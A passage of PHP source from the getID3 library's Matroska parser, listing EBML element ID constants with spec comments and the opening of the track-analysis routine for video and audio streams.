define('EBML_ID_CHAPPROCESSPRIVATE',            0x050D); //         [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent.
define('EBML_ID_CHAPTERFLAGENABLED',            0x0598); //         [45][98] -- Specify wether the chapter is enabled. It can be enabled/disabled by a Control Track. When disabled, the movie should skip all the content between the TimeStart and TimeEnd of this chapter.
define('EBML_ID_TAGNAME',                       0x05A3); //         [45][A3] -- The name of the Tag that is going to be stored.
define('EBML_ID_EDITIONENTRY',                  0x05B9); //         [45][B9] -- Contains all information about a segment edition.
define('EBML_ID_EDITIONUID',                    0x05BC); //         [45][BC] -- A unique ID to identify the edition. It's useful for tagging an edition.
define('EBML_ID_EDITIONFLAGHIDDEN',             0x05BD); //         [45][BD] -- If an edition is hidden (1), it should not be available to the user interface (but still to Control Tracks).
define('EBML_ID_EDITIONFLAGDEFAULT',            0x05DB); //         [45][DB] -- If a flag is set (1) the edition should be used as the default one.
define('EBML_ID_EDITIONFLAGORDERED',            0x05DD); //         [45][DD] -- Specify if the chapters can be defined multiple times and the order to play them is enforced.
define('EBML_ID_FILEDATA',                      0x065C); //         [46][5C] -- The data of the file.
define('EBML_ID_FILEMIMETYPE',                  0x0660); //         [46][60] -- MIME type of the file.
define('EBML_ID_FILENAME',                      0x066E); //         [46][6E] -- Filename of the attached file.
define('EBML_ID_FILEREFERRAL',                  0x0675); //         [46][75] -- A binary value that a track/codec can refer to when the attachment is needed.
define('EBML_ID_FILEDESCRIPTION',               0x067E); //         [46][7E] -- A human-friendly name for the attached file.
define('EBML_ID_FILEUID',                       0x06AE); //         [46][AE] -- Unique ID representing the file, as random as possible.
define('EBML_ID_CONTENTENCALGO',                0x07E1); //         [47][E1] -- The encryption algorithm used. The value '0' means that the contents have not been encrypted but only signed. Predefined values:
define('EBML_ID_CONTENTENCKEYID',               0x07E2); //         [47][E2] -- For public key algorithms this is the ID of the public key the data was encrypted with.
define('EBML_ID_CONTENTSIGNATURE',              0x07E3); //         [47][E3] -- A cryptographic signature of the contents.
define('EBML_ID_CONTENTSIGKEYID',               0x07E4); //         [47][E4] -- This is the ID of the private key the data was signed with.
define('EBML_ID_CONTENTSIGALGO',                0x07E5); //         [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
define('EBML_ID_CONTENTSIGHASHALGO',            0x07E6); //         [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values:
define('EBML_ID_MUXINGAPP',                     0x0D80); //         [4D][80] -- Muxing application or library ("libmatroska-0.4.3").
define('EBML_ID_SEEK',                          0x0DBB); //         [4D][BB] -- Contains a single seek entry to an EBML element.
define('EBML_ID_CONTENTENCODINGORDER',          0x1031); //         [50][31] -- Tells when this modification was used during encoding/muxing starting with 0 and counting upwards. The decoder/demuxer has to start with the highest order number it finds and work its way down. This value has to be unique over all ContentEncodingOrder elements in the segment.
define('EBML_ID_CONTENTENCODINGSCOPE',          0x1032); //         [50][32] -- A bit field that describes which elements have been modified in this way. Values (big endian) can be OR'ed. Possible values:
define('EBML_ID_CONTENTENCODINGTYPE',           0x1033); //         [50][33] -- A value describing what kind of transformation has been done. Possible values:
define('EBML_ID_CONTENTCOMPRESSION',            0x1034); //         [50][34] -- Settings describing the compression used. Must be present if the value of ContentEncodingType is 0 and absent otherwise. Each block must be decompressable even if no previous block is available in order not to prevent seeking.
define('EBML_ID_CONTENTENCRYPTION',             0x1035); //         [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise.
define('EBML_ID_CUEREFNUMBER',                  0x135F); //         [53][5F] -- Number of the referenced Block of Track X in the specified Cluster.
define('EBML_ID_NAME',                          0x136E); //         [53][6E] -- A human-readable track name.
define('EBML_ID_CUEBLOCKNUMBER',                0x1378); //         [53][78] -- Number of the Block in the specified Cluster.
define('EBML_ID_TRACKOFFSET',                   0x137F); //         [53][7F] -- A value to add to the Block's Timecode. This can be used to adjust the playback offset of a track.
define('EBML_ID_SEEKID',                        0x13AB); //         [53][AB] -- The binary ID corresponding to the element name.
define('EBML_ID_SEEKPOSITION',                  0x13AC); //         [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element).
define('EBML_ID_STEREOMODE',                    0x13B8); //         [53][B8] -- Stereo-3D video mode.
define('EBML_ID_OLDSTEREOMODE',                 0x13B9); //         [53][B9] -- Bogus StereoMode value used in old versions of libmatroska. DO NOT USE. (0: mono, 1: right eye, 2: left eye, 3: both eyes).
define('EBML_ID_PIXELCROPBOTTOM',               0x14AA); //         [54][AA] -- The number of video pixels to remove at the bottom of the image (for HDTV content).
define('EBML_ID_DISPLAYWIDTH',                  0x14B0); //         [54][B0] -- Width of the video frames to display.
define('EBML_ID_DISPLAYUNIT',                   0x14B2); //         [54][B2] -- Type of the unit for DisplayWidth/Height (0: pixels, 1: centimeters, 2: inches).
define('EBML_ID_ASPECTRATIOTYPE',               0x14B3); //         [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed).
define('EBML_ID_DISPLAYHEIGHT',                 0x14BA); //         [54][BA] -- Height of the video frames to display.
define('EBML_ID_PIXELCROPTOP',                  0x14BB); //         [54][BB] -- The number of video pixels to remove at the top of the image.
define('EBML_ID_PIXELCROPLEFT',                 0x14CC); //         [54][CC] -- The number of video pixels to remove on the left of the image.
define('EBML_ID_PIXELCROPRIGHT',                0x14DD); //         [54][DD] -- The number of video pixels to remove on the right of the image.
define('EBML_ID_FLAGFORCED',                    0x15AA); //         [55][AA] -- Set if that track MUST be used during playback. There can be many forced track for a kind (audio, video or subs), the player should select the one which language matches the user preference or the default + forced track. Overlay MAY happen between a forced and non-forced track of the same kind.
define('EBML_ID_MAXBLOCKADDITIONID',            0x15EE); //         [55][EE] -- The maximum value of BlockAddID. A value 0 means there is no BlockAdditions for this track.
define('EBML_ID_WRITINGAPP',                    0x1741); //         [57][41] -- Writing application ("mkvmerge-0.3.3").
define('EBML_ID_CLUSTERSILENTTRACKS',           0x1854); //         [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use.
define('EBML_ID_CLUSTERSILENTTRACKNUMBER',      0x18D7); //         [58][D7] -- One of the track number that are not used from now on in the stream. It could change later if not specified as silent in a further Cluster.
define('EBML_ID_ATTACHEDFILE',                  0x21A7); //         [61][A7] -- An attached file.
define('EBML_ID_CONTENTENCODING',               0x2240); //         [62][40] -- Settings for one content encoding like compression or encryption.
define('EBML_ID_BITDEPTH',                      0x2264); //         [62][64] -- Bits per sample, mostly used for PCM.
define('EBML_ID_CODECPRIVATE',                  0x23A2); //         [63][A2] -- Private data only known to the codec.
define('EBML_ID_TARGETS',                       0x23C0); //         [63][C0] -- Contain all UIDs where the specified meta data apply. It is void to describe everything in the segment.
define('EBML_ID_CHAPTERPHYSICALEQUIV',          0x23C3); //         [63][C3] -- Specify the physical equivalent of this ChapterAtom like "DVD" (60) or "SIDE" (50), see complete list of values.
define('EBML_ID_TAGCHAPTERUID',                 0x23C4); //         [63][C4] -- A unique ID to identify the Chapter(s) the tags belong to. If the value is 0 at this level, the tags apply to all chapters in the Segment.
define('EBML_ID_TAGTRACKUID',                   0x23C5); //         [63][C5] -- A unique ID to identify the Track(s) the tags belong to. If the value is 0 at this level, the tags apply to all tracks in the Segment.
define('EBML_ID_TAGATTACHMENTUID',              0x23C6); //         [63][C6] -- A unique ID to identify the Attachment(s) the tags belong to. If the value is 0 at this level, the tags apply to all the attachments in the Segment.
define('EBML_ID_TAGEDITIONUID',                 0x23C9); //         [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment.
define('EBML_ID_TARGETTYPE',                    0x23CA); //         [63][CA] -- An informational string that can be used to display the logical level of the target like "ALBUM", "TRACK", "MOVIE", "CHAPTER", etc (see TargetType).
define('EBML_ID_TRACKTRANSLATE',                0x2624); //         [66][24] -- The track identification for the given Chapter Codec.
define('EBML_ID_TRACKTRANSLATETRACKID',         0x26A5); //         [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
define('EBML_ID_TRACKTRANSLATECODEC',           0x26BF); //         [66][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
define('EBML_ID_TRACKTRANSLATEEDITIONUID',      0x26FC); //         [66][FC] -- Specify an edition UID on which this translation applies. When not specified, it means for all editions found in the segment.
define('EBML_ID_SIMPLETAG',                     0x27C8); //         [67][C8] -- Contains general information about the target.
define('EBML_ID_TARGETTYPEVALUE',               0x28CA); //         [68][CA] -- A number to indicate the logical level of the target (see TargetType).
define('EBML_ID_CHAPPROCESSCOMMAND',            0x2911); //         [69][11] -- Contains all the commands associated to the Atom.
define('EBML_ID_CHAPPROCESSTIME',               0x2922); //         [69][22] -- Defines when the process command should be handled (0: during the whole chapter, 1: before starting playback, 2: after playback of the chapter).
define('EBML_ID_CHAPTERTRANSLATE',              0x2924); //         [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment.
define('EBML_ID_CHAPPROCESSDATA',               0x2933); //         [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands.
define('EBML_ID_CHAPPROCESS',                   0x2944); //         [69][44] -- Contains all the commands associated to the Atom.
define('EBML_ID_CHAPPROCESSCODECID',            0x2955); //         [69][55] -- Contains the type of the codec used for the processing. A value of 0 means native Matroska processing (to be defined), a value of 1 means the DVD command set is used. More codec IDs can be added later.
define('EBML_ID_CHAPTERTRANSLATEID',            0x29A5); //         [69][A5] -- The binary value used to represent this segment in the chapter codec data. The format depends on the ChapProcessCodecID used.
define('EBML_ID_CHAPTERTRANSLATECODEC',         0x29BF); //         [69][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu).
define('EBML_ID_CHAPTERTRANSLATEEDITIONUID',    0x29FC); //         [69][FC] -- Specify an edition UID on which this correspondance applies. When not specified, it means for all editions found in the segment.
define('EBML_ID_CONTENTENCODINGS',              0x2D80); //         [6D][80] -- Settings for several content encoding mechanisms like compression or encryption.
define('EBML_ID_MINCACHE',                      0x2DE7); //         [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used.
define('EBML_ID_MAXCACHE',                      0x2DF8); //         [6D][F8] -- The maximum cache size required to store referenced frames in and the current frame. 0 means no cache is needed.
define('EBML_ID_CHAPTERSEGMENTUID',             0x2E67); //         [6E][67] -- A segment to play in place of this chapter. Edition ChapterSegmentEditionUID should be used for this segment, otherwise no edition is used.
define('EBML_ID_CHAPTERSEGMENTEDITIONUID',      0x2EBC); //         [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID.
define('EBML_ID_TRACKOVERLAY',                  0x2FAB); //         [6F][AB] -- Specify that this track is an overlay track for the Track specified (in the u-integer). That means when this track has a gap (see SilentTracks) the overlay track should be used instead. The order of multiple TrackOverlay matters, the first one is the one that should be used. If not found it should be the second, etc.
define('EBML_ID_TAG',                           0x3373); //         [73][73] -- Element containing elements specific to Tracks/Chapters.
define('EBML_ID_SEGMENTFILENAME',               0x3384); //         [73][84] -- A filename corresponding to this segment.
define('EBML_ID_SEGMENTUID',                    0x33A4); //         [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits).
define('EBML_ID_CHAPTERUID',                    0x33C4); //         [73][C4] -- A unique ID to identify the Chapter.
define('EBML_ID_TRACKUID',                      0x33C5); //         [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file.
define('EBML_ID_ATTACHMENTLINK',                0x3446); //         [74][46] -- The UID of an attachment that is used by this codec.
define('EBML_ID_CLUSTERBLOCKADDITIONS',         0x35A1); //         [75][A1] -- Contain additional blocks to complete the main one. An EBML parser that has no knowledge of the Block structure could still see and use/skip these data.
define('EBML_ID_CHANNELPOSITIONS',              0x347B); //         [7D][7B] -- Table of horizontal angles for each successive channel, see appendix.
define('EBML_ID_OUTPUTSAMPLINGFREQUENCY',       0x38B5); //         [78][B5] -- Real output sampling frequency in Hz (used for SBR techniques).
define('EBML_ID_TITLE',                         0x3BA9); //         [7B][A9] -- General name of the segment.
define('EBML_ID_CHAPTERDISPLAY',                  0x00); //             [80] -- Contains all possible strings to use for the chapter display.
define('EBML_ID_TRACKTYPE',                       0x03); //             [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control).
define('EBML_ID_CHAPSTRING',                      0x05); //             [85] -- Contains the string to use as the chapter atom.
define('EBML_ID_CODECID',                         0x06); //             [86] -- An ID corresponding to the codec, see the codec page for more info.
define('EBML_ID_FLAGDEFAULT',                     0x08); //             [88] -- Set if that track (audio, video or subs) SHOULD be used if no language found matches the user preference.
define('EBML_ID_CHAPTERTRACKNUMBER',              0x09); //             [89] -- UID of the Track to apply this chapter too. In the absense of a control track, choosing this chapter will select the listed Tracks and deselect unlisted tracks. Absense of this element indicates that the Chapter should be applied to any currently used Tracks.
define('EBML_ID_CLUSTERSLICES',                   0x0E); //             [8E] -- Contains slices description.
define('EBML_ID_CHAPTERTRACK',                    0x0F); //             [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply
define('EBML_ID_CHAPTERTIMESTART',                0x11); //             [91] -- Timecode of the start of Chapter (not scaled).
define('EBML_ID_CHAPTERTIMEEND',                  0x12); //             [92] -- Timecode of the end of Chapter (timecode excluded, not scaled).
define('EBML_ID_CUEREFTIME',                      0x16); //             [96] -- Timecode of the referenced Block.
define('EBML_ID_CUEREFCLUSTER',                   0x17); //             [97] -- Position of the Cluster containing the referenced Block.
define('EBML_ID_CHAPTERFLAGHIDDEN',               0x18); //             [98] -- If a chapter is hidden (1), it should not be available to the user interface (but still to Control Tracks).
define('EBML_ID_FLAGINTERLACED',                  0x1A); //             [9A] -- Set if the video is interlaced.
define('EBML_ID_CLUSTERBLOCKDURATION',            0x1B); //             [9B] -- The duration of the Block (based on TimecodeScale). This element is mandatory when DefaultDuration is set for the track. When not written and with no DefaultDuration, the value is assumed to be the difference between the timecode of this Block and the timecode of the next Block in "display" order (not coding order). This element can be useful at the end of a Track (as there is not other Block available), or when there is a break in a track like for subtitle tracks.
define('EBML_ID_FLAGLACING',                      0x1C); //             [9C] -- Set if the track may contain blocks using lacing.
define('EBML_ID_CHANNELS',                        0x1F); //             [9F] -- Numbers of channels in the track.
define('EBML_ID_CLUSTERBLOCKGROUP',               0x20); //             [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock.
define('EBML_ID_CLUSTERBLOCK',                    0x21); //             [A1] -- Block containing the actual data to be rendered and a timecode relative to the Cluster Timecode.
define('EBML_ID_CLUSTERBLOCKVIRTUAL',             0x22); //             [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order.
define('EBML_ID_CLUSTERSIMPLEBLOCK',              0x23); //             [A3] -- Similar to Block but without all the extra information, mostly used to reduced overhead when no extra feature is needed.
define('EBML_ID_CLUSTERCODECSTATE',               0x24); //             [A4] -- The new codec state to use. Data interpretation is private to the codec. This information should always be referenced by a seek entry.
define('EBML_ID_CLUSTERBLOCKADDITIONAL',          0x25); //             [A5] -- Interpreted by the codec as it wishes (using the BlockAddID).
define('EBML_ID_CLUSTERBLOCKMORE',                0x26); //             [A6] -- Contain the BlockAdditional and some parameters.
define('EBML_ID_CLUSTERPOSITION',                 0x27); //             [A7] -- Position of the Cluster in the segment (0 in live broadcast streams). It might help to resynchronise offset on damaged streams.
define('EBML_ID_CODECDECODEALL',                  0x2A); //             [AA] -- The codec can decode potentially damaged data.
define('EBML_ID_CLUSTERPREVSIZE',                 0x2B); //             [AB] -- Size of the previous Cluster, in octets. Can be useful for backward playing.
define('EBML_ID_TRACKENTRY',                      0x2E); //             [AE] -- Describes a track with all elements.
define('EBML_ID_CLUSTERENCRYPTEDBLOCK',           0x2F); //             [AF] -- Similar to SimpleBlock but the data inside the Block are Transformed (encrypt and/or signed).
define('EBML_ID_PIXELWIDTH',                      0x30); //             [B0] -- Width of the encoded video frames in pixels.
define('EBML_ID_CUETIME',                         0x33); //             [B3] -- Absolute timecode according to the segment time base.
define('EBML_ID_SAMPLINGFREQUENCY',               0x35); //             [B5] -- Sampling frequency in Hz.
define('EBML_ID_CHAPTERATOM',                     0x36); //             [B6] -- Contains the atom information to use as the chapter atom (apply to all tracks).
define('EBML_ID_CUETRACKPOSITIONS',               0x37); //             [B7] -- Contain positions for different tracks corresponding to the timecode.
define('EBML_ID_FLAGENABLED',                     0x39); //             [B9] -- Set if the track is used.
define('EBML_ID_PIXELHEIGHT',                     0x3A); //             [BA] -- Height of the encoded video frames in pixels.
define('EBML_ID_CUEPOINT',                        0x3B); //             [BB] -- Contains all information relative to a seek point in the segment.
define('EBML_ID_CRC32',                           0x3F); //             [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32.
define('EBML_ID_CLUSTERBLOCKADDITIONID',          0x4B); //             [CB] -- The ID of the BlockAdditional element (0 is the main Block).
define('EBML_ID_CLUSTERLACENUMBER',               0x4C); //             [CC] -- The reverse number of the frame in the lace (0 is the last frame, 1 is the next to last, etc). While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
define('EBML_ID_CLUSTERFRAMENUMBER',              0x4D); //             [CD] -- The number of the frame to generate from this lace with this delay (allow you to generate many frames from the same Block/Frame).
define('EBML_ID_CLUSTERDELAY',                    0x4E); //             [CE] -- The (scaled) delay to apply to the element.
define('EBML_ID_CLUSTERDURATION',                 0x4F); //             [CF] -- The (scaled) duration to apply to the element.
define('EBML_ID_TRACKNUMBER',                     0x57); //             [D7] -- The track number as used in the Block Header (using more than 127 tracks is not encouraged, though the design allows an unlimited number).
define('EBML_ID_CUEREFERENCE',                    0x5B); //             [DB] -- The Clusters containing the required referenced Blocks.
define('EBML_ID_VIDEO',                           0x60); //             [E0] -- Video settings.
define('EBML_ID_AUDIO',                           0x61); //             [E1] -- Audio settings.
define('EBML_ID_CLUSTERTIMESLICE',                0x68); //             [E8] -- Contains extra time information about the data contained in the Block. While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback.
define('EBML_ID_CUECODECSTATE',                   0x6A); //             [EA] -- The position of the Codec State corresponding to this Cue element. 0 means that the data is taken from the initial Track Entry.
define('EBML_ID_CUEREFCODECSTATE',                0x6B); //             [EB] -- The position of the Codec State corresponding to this referenced element. 0 means that the data is taken from the initial Track Entry.
define('EBML_ID_VOID',                            0x6C); //             [EC] -- Used to void damaged data, to avoid unexpected behaviors when using damaged data. The content is discarded. Also used to reserve space in a sub-element for later use.
define('EBML_ID_CLUSTERTIMECODE',                 0x67); //             [E7] -- Absolute timecode of the cluster (based on TimecodeScale).
define('EBML_ID_CLUSTERBLOCKADDID',               0x6E); //             [EE] -- An ID to identify the BlockAdditional level.
define('EBML_ID_CUECLUSTERPOSITION',              0x71); //             [F1] -- The position of the Cluster containing the required Block.
define('EBML_ID_CUETRACK',                        0x77); //             [F7] -- The track for which a position is given.
define('EBML_ID_CLUSTERREFERENCEPRIORITY',        0x7A); //             [FA] -- This frame is referenced and has the specified cache priority. In cache only a frame of the same or higher priority can replace this frame. A value of 0 means the frame is not referenced.
define('EBML_ID_CLUSTERREFERENCEBLOCK',           0x7B); //             [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to.
define('EBML_ID_CLUSTERREFERENCEVIRTUAL',         0x7D); //             [FD] -- Relative position of the data that should be in position of the virtual block.


/**
* @tutorial http://www.matroska.org/technical/specs/index.html
*
* @todo Rewrite EBML parser to reduce it's size and honor default element values
* @todo After rewrite implement stream size calculation, that will provide additional useful info and enable AAC/FLAC audio bitrate detection
*/
class getid3_matroska extends getid3_handler
{
	/**
	 * If true, do not return information about CLUSTER chunks, since there's a lot of them
	 * and they're not usually useful [default: TRUE].
	 *
	 * @var bool
	 */
	public $hide_clusters    = true;

	/**
	 * True to parse the whole file, not only header [default: FALSE].
	 *
	 * @var bool
	 */
	public $parse_whole_file = false;

	/*
	 * Private parser settings/placeholders.
	 */
	private $EBMLbuffer        = '';
	private $EBMLbuffer_offset = 0;
	private $EBMLbuffer_length = 0;
	private $current_offset    = 0;
	private $unuseful_elements = array(EBML_ID_CRC32, EBML_ID_VOID);

	/**
	 * @return bool
	 */
	public function Analyze()
	{
		$info = &$this->getid3->info;

		// parse container
		try {
			$this->parseEBML($info);
		} catch (Exception $e) {
			$this->error('EBML parser: '.$e->getMessage());
		}

		// calculate playtime
		if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
			foreach ($info['matroska']['info'] as $key => $infoarray) {
				if (isset($infoarray['Duration'])) {
					// TimecodeScale is how many nanoseconds each Duration unit is
					$info['playtime_seconds'] = $infoarray['Duration'] * ((isset($infoarray['TimecodeScale']) ? $infoarray['TimecodeScale'] : 1000000) / 1000000000);
					break;
				}
			}
		}

		// extract tags
		if (isset($info['matroska']['tags']) && is_array($info['matroska']['tags'])) {
			foreach ($info['matroska']['tags'] as $key => $infoarray) {
				$this->ExtractCommentsSimpleTag($infoarray);
			}
		}

		// process tracks
		if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
			foreach ($info['matroska']['tracks']['tracks'] as $key => $trackarray) {

				$track_info = array();
				$track_info['dataformat'] = self::CodecIDtoCommonName($trackarray['CodecID']);
				$track_info['default'] = (isset($trackarray['FlagDefault']) ? $trackarray['FlagDefault'] : true);
				if (isset($trackarray['Name'])) { $track_info['name'] = $trackarray['Name']; }

				switch ($trackarray['TrackType']) {

					case 1: // Video
						$track_info['resolution_x'] = $trackarray['PixelWidth'];
						$track_info['resolution_y'] = $trackarray['PixelHeight'];
						$track_info['display_unit'] = self::displayUnit(isset($trackarray['DisplayUnit']) ? $trackarray['DisplayUnit'] : 0);
						$track_info['display_x']    = (isset($trackarray['DisplayWidth']) ? $trackarray['DisplayWidth'] : $trackarray['PixelWidth']);
						$track_info['display_y']    = (isset($trackarray['DisplayHeight']) ? $trackarray['DisplayHeight'] : $trackarray['PixelHeight']);

						if (isset($trackarray['PixelCropBottom']))  { $track_info['crop_bottom'] = $trackarray['PixelCropBottom']; }
						if (isset($trackarray['PixelCropTop']))     { $track_info['crop_top']    = $trackarray['PixelCropTop']; }
						if (isset($trackarray['PixelCropLeft']))    { $track_info['crop_left']   = $trackarray['PixelCropLeft']; }
						if (isset($trackarray['PixelCropRight']))   { $track_info['crop_right']  = $trackarray['PixelCropRight']; }
						if (!empty($trackarray['DefaultDuration'])) { $track_info['frame_rate']  = round(1000000000 / $trackarray['DefaultDuration'], 3); }
						if (isset($trackarray['CodecName']))        { $track_info['codec']       = $trackarray['CodecName']; }

						switch ($trackarray['CodecID']) {
							case 'V_MS/VFW/FOURCC':
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

								$parsed = getid3_riff::ParseBITMAPINFOHEADER($trackarray['CodecPrivate']);
								$track_info['codec'] = getid3_riff::fourccLookup($parsed['fourcc']);
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
								break;

							/*case 'V_MPEG4/ISO/AVC':
								$h264['profile']    = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 1, 1));
								$h264['level']      = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 3, 1));
								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 4, 1));
								$h264['NALUlength'] = ($rn & 3) + 1;
								$rn                 = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 5, 1));
								$nsps               = ($rn & 31);
								$offset             = 6;
								for ($i = 0; $i < $nsps; $i ++) {
									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
									$h264['SPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
									$offset       += 2 + $length;
								}
								$npps               = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 1));
								$offset            += 1;
								for ($i = 0; $i < $npps; $i ++) {
									$length        = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2));
									$h264['PPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length);
									$offset       += 2 + $length;
								}
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $h264;
								break;*/
						}

						$info['video']['streams'][$trackarray['TrackUID']] = $track_info;
						break;

					case 2: // Audio
						$track_info['sample_rate'] = (isset($trackarray['SamplingFrequency']) ? $trackarray['SamplingFrequency'] : 8000.0);
						$track_info['channels']    = (isset($trackarray['Channels']) ? $trackarray['Channels'] : 1);
						$track_info['language']    = (isset($trackarray['Language']) ? $trackarray['Language'] : 'eng');
						if (isset($trackarray['BitDepth']))  { $track_info['bits_per_sample'] = $trackarray['BitDepth']; }
						if (isset($trackarray['CodecName'])) { $track_info['codec']           = $trackarray['CodecName']; }

						switch ($trackarray['CodecID']) {
							case 'A_PCM/INT/LIT':
							case 'A_PCM/INT/BIG':
								$track_info['bitrate'] = $track_info['sample_rate'] * $track_info['channels'] * $trackarray['BitDepth'];
								break;

							case 'A_AC3':
							case 'A_EAC3':
							case 'A_DTS':
							case 'A_MPEG/L3':
							case 'A_MPEG/L2':
							case 'A_FLAC':
								$module_dataformat = ($track_info['dataformat'] == 'mp2' ? 'mp3' : ($track_info['dataformat'] == 'eac3' ? 'ac3' : $track_info['dataformat']));
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.'.$module_dataformat.'.php', __FILE__, true);

								if (!isset($info['matroska']['track_data_offsets'][$trackarray['TrackNumber']])) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because $info[matroska][track_data_offsets]['.$trackarray['TrackNumber'].'] not set');
									break;
								}

								// create temp instance
								$getid3_temp = new getID3();
								if ($track_info['dataformat'] != 'flac') {
									$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
								}
								$getid3_temp->info['avdataoffset'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'];
								if ($track_info['dataformat'][0] == 'm' || $track_info['dataformat'] == 'flac') {
									$getid3_temp->info['avdataend'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'] + $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['length'];
								}

								// analyze
								$class = 'getid3_'.$module_dataformat;
								$header_data_key = $track_info['dataformat'][0] == 'm' ? 'mpeg' : $track_info['dataformat'];
								$getid3_audio = new $class($getid3_temp, __CLASS__);
								if ($track_info['dataformat'] == 'flac') {
									$getid3_audio->AnalyzeString($trackarray['CodecPrivate']);
								}
								else {
									$getid3_audio->Analyze();
								}
								if (!empty($getid3_temp->info[$header_data_key])) {
									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info[$header_data_key];
									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
										foreach ($getid3_temp->info['audio'] as $sub_key => $value) {
											$track_info[$sub_key] = $value;
										}
									}
								}
								else {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because '.$class.'::Analyze() failed at offset '.$getid3_temp->info['avdataoffset']);
								}

								// copy errors and warnings
								if (!empty($getid3_temp->info['error'])) {
									foreach ($getid3_temp->info['error'] as $newerror) {
										$this->warning($class.'() says: ['.$newerror.']');
									}
								}
								if (!empty($getid3_temp->info['warning'])) {
									foreach ($getid3_temp->info['warning'] as $newerror) {
										$this->warning($class.'() says: ['.$newerror.']');
									}
								}
								unset($getid3_temp, $getid3_audio);
								break;

							case 'A_AAC':
							case 'A_AAC/MPEG2/LC':
							case 'A_AAC/MPEG2/LC/SBR':
							case 'A_AAC/MPEG4/LC':
							case 'A_AAC/MPEG4/LC/SBR':
								$this->warning($trackarray['CodecID'].' audio data contains no header, audio/video bitrates can\'t be calculated');
								break;

							case 'A_VORBIS':
								if (!isset($trackarray['CodecPrivate'])) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data not set');
									break;
								}
								$vorbis_offset = strpos($trackarray['CodecPrivate'], 'vorbis', 1);
								if ($vorbis_offset === false) {
									$this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data does not contain "vorbis" keyword');
									break;
								}
								$vorbis_offset -= 1;

								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true);

								// create temp instance
								$getid3_temp = new getID3();

								// analyze
								$getid3_ogg = new getid3_ogg($getid3_temp);
								$oggpageinfo['page_seqno'] = 0;
								$getid3_ogg->ParseVorbisPageHeader($trackarray['CodecPrivate'], $vorbis_offset, $oggpageinfo);
								if (!empty($getid3_temp->info['ogg'])) {
									$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info['ogg'];
									if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) {
										foreach ($getid3_temp->info['audio'] as $sub_key => $value) {
											$track_info[$sub_key] = $value;
										}
									}
								}

								// copy errors and warnings
								if (!empty($getid3_temp->info['error'])) {
									foreach ($getid3_temp->info['error'] as $newerror) {
										$this->warning('getid3_ogg() says: ['.$newerror.']');
									}
								}
								if (!empty($getid3_temp->info['warning'])) {
									foreach ($getid3_temp->info['warning'] as $newerror) {
										$this->warning('getid3_ogg() says: ['.$newerror.']');
									}
								}

